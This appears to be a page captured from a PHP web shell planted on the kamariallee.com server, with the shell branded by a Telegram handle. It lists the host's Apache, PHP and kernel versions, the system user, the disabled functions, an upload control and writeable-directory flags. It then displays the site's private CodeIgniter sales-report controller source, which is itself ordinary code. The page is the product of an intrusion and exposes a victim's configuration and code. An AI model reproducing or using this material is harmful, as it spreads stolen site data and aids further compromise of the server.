https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/kamariallee.com/public_html/application/controllers/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/kamariallee.com/public_html/application/controllers/admin/Sales_report.php
<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');

class Sales_report extends Admin_Controller {

	private $total_sales_amount = 0;
		
	function __construct() {
		parent::__construct();	
		$this->load->model('order_m');  
		$this->load->model('order_detail_m'); 
		$this->load->model('configuration_m');  
		$this->load->model('customer_m');  
	}
		
	//this is to list all orders
	public function index() { 

		//pagination in action. 100 results per page 
		$this->load->library('pagination');
		$config['base_url'] = base_url() . 'admin/orders/index'; 
		$config['per_page'] = 100;
		$config["uri_segment"] = 4; 

		if ($this->input->post('submit')) {

			if($_POST['sales_start'] && $_POST['sales_end']) {

				$date_start = explode('-', $this->input->post('sales_start'));
				$new_date_start = $date_start[2] . '-' . $date_start[1] . '-' . $date_start[0];
				
				$date_end = explode('-', $this->input->post('sales_end'));
				$new_date_end = $date_end[2] . '-' . $date_end[1] . '-' . $date_end[0] . ' 23:59:59';
				
				$config['total_rows'] = $this->order_m->record_count_search_date($new_date_start, $new_date_end); 

				$this->pagination->initialize($config);
				
				$this->data['orders'] = $this->order_m->find_order_by_date($config["per_page"], $this->uri->segment(4), $new_date_start, $new_date_end);  

				foreach ($this->data['orders'] as $sales) {
					
					$this->total_sales_amount = $this->total_sales_amount+ $sales->total_amount;
				}

				$this->data['sales_start'] = $_POST['sales_start'];
				$this->data['sales_end'] = $_POST['sales_end'];

			} else {

				//fetch all orders
				$config['total_rows'] = $this->order_m->record_count();  
				$this->pagination->initialize($config);
		   		$this->data['orders'] = $this->order_m->report_get_all_orders($config["per_page"], 
				$this->uri->segment(4));  

				foreach ($this->data['orders'] as $sales) {
					
					$this->total_sales_amount = $this->total_sales_amount + $sales->total_amount;
				}	

				$this->data['sales_start'] = '';
				$this->data['sales_end'] = '';

			}

		} else {	

			//fetch all orders
			$config['total_rows'] = $this->order_m->record_count();  
			$this->pagination->initialize($config);
	   		$this->data['orders'] = $this->order_m->report_get_all_orders($config["per_page"], 
			$this->uri->segment(4));  

			foreach ($this->data['orders'] as $sales) {
				
				$this->total_sales_amount = $this->total_sales_amount + $sales->total_amount;
			}	

			$this->data['sales_start'] = '';
			$this->data['sales_end'] = '';

		}

		$this->data['total_sales_amount'] = $this->total_sales_amount;

		//load view
		$this->data['subview'] = 'admin/statistic/sales_report';
		$this->load->view('admin/templates/header', $this->data_header); 
		$this->load->view('admin/_layout_main', $this->data);
		$this->load->view('admin/templates/footer');	 
		
    }
	
			
}

https://t.me/RX1948 - 2025